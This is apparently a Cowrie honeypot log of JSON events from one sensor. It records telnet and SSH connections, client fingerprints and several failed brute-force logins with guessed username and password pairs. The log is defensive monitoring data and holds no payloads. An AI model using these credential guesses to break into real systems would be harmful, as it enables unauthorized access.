{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:06.659057Z","src_ip":"159.203.92.129","session":"c84ac77764ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.866894006729126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:06.869925Z","src_ip":"51.38.143.2","session":"376203e8970e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":38010,"dst_ip":"159.203.135.109","dst_port":23,"session":"70536e607300","protocol":"telnet","message":"New connection: 51.38.143.2:38010 (159.203.135.109:23) [session: 70536e607300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:07.630000Z"}
{"eventid":"cowrie.session.closed","duration":30.535802841186523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:10.429213Z","src_ip":"133.130.78.211","session":"d4456ee2db86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841256141662598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:10.452723Z","src_ip":"51.38.143.2","session":"05dfb18c88be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":38022,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab6a845aaeb0","protocol":"telnet","message":"New connection: 51.38.143.2:38022 (159.203.135.109:23) [session: ab6a845aaeb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:11.607135Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":38034,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d8e1dde8148","protocol":"telnet","message":"New connection: 51.38.143.2:38034 (159.203.135.109:23) [session: 0d8e1dde8148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:12.680303Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":38050,"dst_ip":"159.203.135.109","dst_port":23,"session":"34b08e19a8bb","protocol":"telnet","message":"New connection: 51.38.143.2:38050 (159.203.135.109:23) [session: 34b08e19a8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:14.612841Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":38066,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdfe709c61ab","protocol":"telnet","message":"New connection: 51.38.143.2:38066 (159.203.135.109:23) [session: bdfe709c61ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:14.625060Z"}
{"eventid":"cowrie.session.closed","duration":30.683958292007446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:15.363679Z","src_ip":"51.38.143.2","session":"58cf2352f98c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.662650108337402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:16.087223Z","src_ip":"133.130.78.211","session":"efef6901c8cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795552968978882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:16.359224Z","src_ip":"51.38.143.2","session":"06d067e5ba8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56088948249817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:17.416495Z","src_ip":"51.38.143.2","session":"6ac713a5e971","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.292296648025513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:17.462109Z","src_ip":"51.38.143.2","session":"4c145ed95747","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27638053894043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:18.871535Z","src_ip":"51.38.143.2","session":"acc61034b754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":44004,"dst_ip":"159.203.135.109","dst_port":23,"session":"9172bbdcc3cd","protocol":"telnet","message":"New connection: 51.38.143.2:44004 (159.203.135.109:23) [session: 9172bbdcc3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:19.601935Z"}
{"eventid":"cowrie.session.closed","duration":30.80974006652832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:21.415049Z","src_ip":"51.38.143.2","session":"d96e49d292da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634578227996826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:22.391899Z","src_ip":"51.38.143.2","session":"f62314c0294e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846041679382324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:23.408406Z","src_ip":"51.38.143.2","session":"bc2c71859cee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":44010,"dst_ip":"159.203.135.109","dst_port":23,"session":"0544ad224cbe","protocol":"telnet","message":"New connection: 51.38.143.2:44010 (159.203.135.109:23) [session: 0544ad224cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:23.862021Z"}
{"eventid":"cowrie.session.closed","duration":31.218005657196045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:24.114634Z","src_ip":"51.38.143.2","session":"1c334215fded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112643718719482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:24.372863Z","src_ip":"51.38.143.2","session":"aec8ce7ffddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.488264322280884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:24.383893Z","src_ip":"51.38.143.2","session":"4cc15325373b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":44540,"dst_ip":"159.203.135.109","dst_port":23,"session":"627b37e75fc5","protocol":"telnet","message":"New connection: 51.38.143.2:44540 (159.203.135.109:23) [session: 627b37e75fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:25.908937Z"}
{"eventid":"cowrie.session.closed","duration":30.85068440437317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:26.579087Z","src_ip":"51.38.143.2","session":"e8bb404dfaec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":51363,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3f53174ad78","protocol":"ssh","message":"New connection: 223.197.186.7:51363 (159.203.135.109:22) [session: b3f53174ad78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:26.779232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:26.783613Z","src_ip":"223.197.186.7","session":"b3f53174ad78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:27.006919Z","src_ip":"223.197.186.7","session":"b3f53174ad78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":44550,"dst_ip":"159.203.135.109","dst_port":23,"session":"def7fdf6f1b3","protocol":"telnet","message":"New connection: 51.38.143.2:44550 (159.203.135.109:23) [session: def7fdf6f1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:27.398060Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":44564,"dst_ip":"159.203.135.109","dst_port":23,"session":"0874c25976ab","protocol":"telnet","message":"New connection: 51.38.143.2:44564 (159.203.135.109:23) [session: 0874c25976ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:27.691436Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":44570,"dst_ip":"159.203.135.109","dst_port":23,"session":"a822f2a65744","protocol":"telnet","message":"New connection: 51.38.143.2:44570 (159.203.135.109:23) [session: a822f2a65744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:27.836036Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sy1234567","message":"login attempt [root/Sy1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:27.946255Z","src_ip":"223.197.186.7","session":"b3f53174ad78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":44578,"dst_ip":"159.203.135.109","dst_port":23,"session":"d69afdcabcd7","protocol":"telnet","message":"New connection: 51.38.143.2:44578 (159.203.135.109:23) [session: d69afdcabcd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:28.996607Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:29.165923Z","src_ip":"223.197.186.7","session":"b3f53174ad78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.522411108016968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:32.365851Z","src_ip":"51.38.143.2","session":"d6ef5948f920","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":44580,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfbc3cbd598a","protocol":"telnet","message":"New connection: 51.38.143.2:44580 (159.203.135.109:23) [session: cfbc3cbd598a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:33.276179Z"}
{"eventid":"cowrie.session.closed","duration":30.939783334732056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:34.152706Z","src_ip":"51.38.143.2","session":"fc9a4eb8dd3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":44586,"dst_ip":"159.203.135.109","dst_port":23,"session":"a85f1011dca3","protocol":"telnet","message":"New connection: 51.38.143.2:44586 (159.203.135.109:23) [session: a85f1011dca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:35.240529Z"}
{"eventid":"cowrie.session.closed","duration":30.843470335006714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:35.399767Z","src_ip":"51.38.143.2","session":"9e58d2afaf75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.849197387695312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:35.432645Z","src_ip":"51.38.143.2","session":"e6556a7ea6f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59311318397522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:36.104296Z","src_ip":"133.130.78.211","session":"71755d693388","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":52598,"dst_ip":"159.203.135.109","dst_port":22,"session":"00b62b77d44c","protocol":"ssh","message":"New connection: 45.78.208.179:52598 (159.203.135.109:22) [session: 00b62b77d44c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:36.202451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:36.206959Z","src_ip":"45.78.208.179","session":"00b62b77d44c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.022094249725342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:36.375610Z","src_ip":"51.38.143.2","session":"dab8df66e820","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:36.449895Z","src_ip":"45.78.208.179","session":"00b62b77d44c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"zxcvbnm","message":"login attempt [test/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:37.455505Z","src_ip":"45.78.208.179","session":"00b62b77d44c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.763147830963135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:38.393055Z","src_ip":"51.38.143.2","session":"70536e607300","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:38.730669Z","src_ip":"45.78.208.179","session":"00b62b77d44c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":41370,"dst_ip":"159.203.135.109","dst_port":23,"session":"c15bebed3504","protocol":"telnet","message":"New connection: 51.38.143.2:41370 (159.203.135.109:23) [session: c15bebed3504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:40.588212Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":41384,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ac0a5d194ee","protocol":"telnet","message":"New connection: 51.38.143.2:41384 (159.203.135.109:23) [session: 2ac0a5d194ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:40.829461Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":41394,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bed5a47ac96","protocol":"telnet","message":"New connection: 51.38.143.2:41394 (159.203.135.109:23) [session: 9bed5a47ac96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:41.824555Z"}
{"eventid":"cowrie.session.closed","duration":31.34339952468872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:42.950413Z","src_ip":"51.38.143.2","session":"ab6a845aaeb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8050479888916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:43.485207Z","src_ip":"51.38.143.2","session":"0d8e1dde8148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":41408,"dst_ip":"159.203.135.109","dst_port":23,"session":"1020961bc682","protocol":"telnet","message":"New connection: 51.38.143.2:41408 (159.203.135.109:23) [session: 1020961bc682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:43.682078Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":41418,"dst_ip":"159.203.135.109","dst_port":23,"session":"297993c94a82","protocol":"telnet","message":"New connection: 51.38.143.2:41418 (159.203.135.109:23) [session: 297993c94a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:43.799360Z"}
{"eventid":"cowrie.session.closed","duration":30.724680185317993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:45.349630Z","src_ip":"51.38.143.2","session":"bdfe709c61ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.766820669174194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:45.379581Z","src_ip":"51.38.143.2","session":"34b08e19a8bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52332,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d7624b84616","protocol":"telnet","message":"New connection: 51.38.143.2:52332 (159.203.135.109:23) [session: 8d7624b84616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:47.730402Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43194,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6f9d6fd2e35","protocol":"ssh","message":"New connection: 159.203.92.129:43194 (159.203.135.109:22) [session: b6f9d6fd2e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:48.013433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:48.018270Z","src_ip":"159.203.92.129","session":"b6f9d6fd2e35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:48.022811Z","src_ip":"159.203.92.129","session":"b6f9d6fd2e35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"hao123.com","message":"login attempt [admin/hao123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:48.035498Z","src_ip":"159.203.92.129","session":"b6f9d6fd2e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52338,"dst_ip":"159.203.135.109","dst_port":23,"session":"8356fd3d0df2","protocol":"telnet","message":"New connection: 51.38.143.2:52338 (159.203.135.109:23) [session: 8356fd3d0df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:48.624355Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:49.042034Z","src_ip":"159.203.92.129","session":"b6f9d6fd2e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":39710,"dst_ip":"159.203.135.109","dst_port":22,"session":"aec7e7c48d91","protocol":"ssh","message":"New connection: 103.172.20.218:39710 (159.203.135.109:22) [session: aec7e7c48d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:49.806796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:49.811852Z","src_ip":"103.172.20.218","session":"aec7e7c48d91","protocol":"ssh"}
